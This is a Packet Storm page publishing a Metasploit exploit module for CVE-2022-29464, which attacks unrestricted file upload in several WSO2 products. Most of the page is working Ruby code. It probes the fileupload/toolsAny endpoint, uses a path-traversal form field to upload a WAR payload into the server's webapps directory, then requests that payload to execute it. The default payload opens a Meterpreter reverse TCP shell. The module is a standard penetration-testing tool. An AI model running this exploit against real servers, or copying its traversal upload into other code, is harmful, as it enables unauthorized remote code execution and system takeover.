exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WSO Arbitrary File Upload / Remote Code Execution

WSO Arbitrary File Upload / Remote Code Execution
Posted May 2, 2022
Authored by Orange Tsai, wvu, hakivvi, Jack Heysel | Site metasploit.com

This Metasploit module abuses a vulnerability in certain WSO2 products that allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.

tags | exploit, remote, code execution, file upload
advisories | CVE-2022-29464
SHA-256 | 7bdab9b3101da4ba2df8ff1f6a558171e4d8a503d4d44bcbaf0347587fa69a4d

WSO Arbitrary File Upload / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WSO2 Arbitrary File Upload to RCE',
'Description' => %q{
This module abuses a vulnerability in certain WSO2 products that allow unrestricted file
upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and
above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server
Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above
through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.
},
'Author' => [
'Orange Tsai', # Discovery
'hakivvi', # analysis and PoC
'wvu', # PoC
'Jack Heysel <jack_heysel[at]rapid7.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2022-29464'],
[ 'URL', 'https://github.com/hakivvi/CVE-2022-29464' ],
[ 'URL', 'https://twitter.com/wvuuuuuuuuuuuuu/status/1517433974003576833' ],
[ 'URL', 'https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738' ]
],
'DefaultOptions' => {
'Payload' => 'java/meterpreter/reverse_tcp',
'SSL' => true,
'RPORT' => 9443
},
'Privileged' => false,
'Targets' => [
[
'Java Dropper',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Type' => :java_dropper,
'DefaultOptions' => {
'WfsDelay' => 10
}
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-04-01',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptInt.new('WAR_DEPLOY_DELAY', [true, 'How long to wait for the war file to deploy, in seconds', 20 ]),
OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 product installation', '/'])
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),
'method' => 'POST'
)

if res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /WSO2/
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Unknown
end
end

def prepare_payload(app_name)
print_status('Preparing payload...')

war_payload = payload.encoded_war.to_s
fname = app_name + '.war'
path_traveral = '../../../../repository/deployment/server/webapps/' + fname
post_data = Rex::MIME::Message.new
post_data.add_part(war_payload,
'application/octet-stream', 'binary',
"form-data; name=\"#{path_traveral}\"; filename=\"#{fname}\"")
post_data
end

def upload_payload(post_data)
print_status('Uploading payload...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
if res && res.code == 200
print_good('Payload uploaded successfully')
else
fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed')
end
end

def execute_payload(app_name)
res = nil
print_status('Executing payload... ')
retry_until_true(timeout: datastore['WAR_DEPLOY_DELAY']) do
print_status('Waiting for shell... ')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, app_name),
'method' => 'GET'
)
if res && res.code == 200
break
else
next
end
end

if res && res.code == 200
print_good('Payload executed successfully')
else
fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed')
end
end

# Retry the block until it returns a truthy value. Each iteration attempt will
# be performed with expoential backoff. If the timeout period surpasses, false is returned.
def retry_until_true(timeout:)
start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
ending_time = start_time + timeout
retry_count = 0
while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time
result = yield
return result if result

retry_count += 1
remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
break if remaining_time_budget <= 0

delay = 2**retry_count
if delay >= remaining_time_budget
delay = remaining_time_budget
vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}")
else
vprint_status("Sleeping for #{delay} seconds before attempting again")
end

sleep delay
end
end

def exploit
app_name = Rex::Text.rand_text_alpha(4..7)
data = prepare_payload(app_name)
upload_payload(data)
execute_payload(app_name)
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close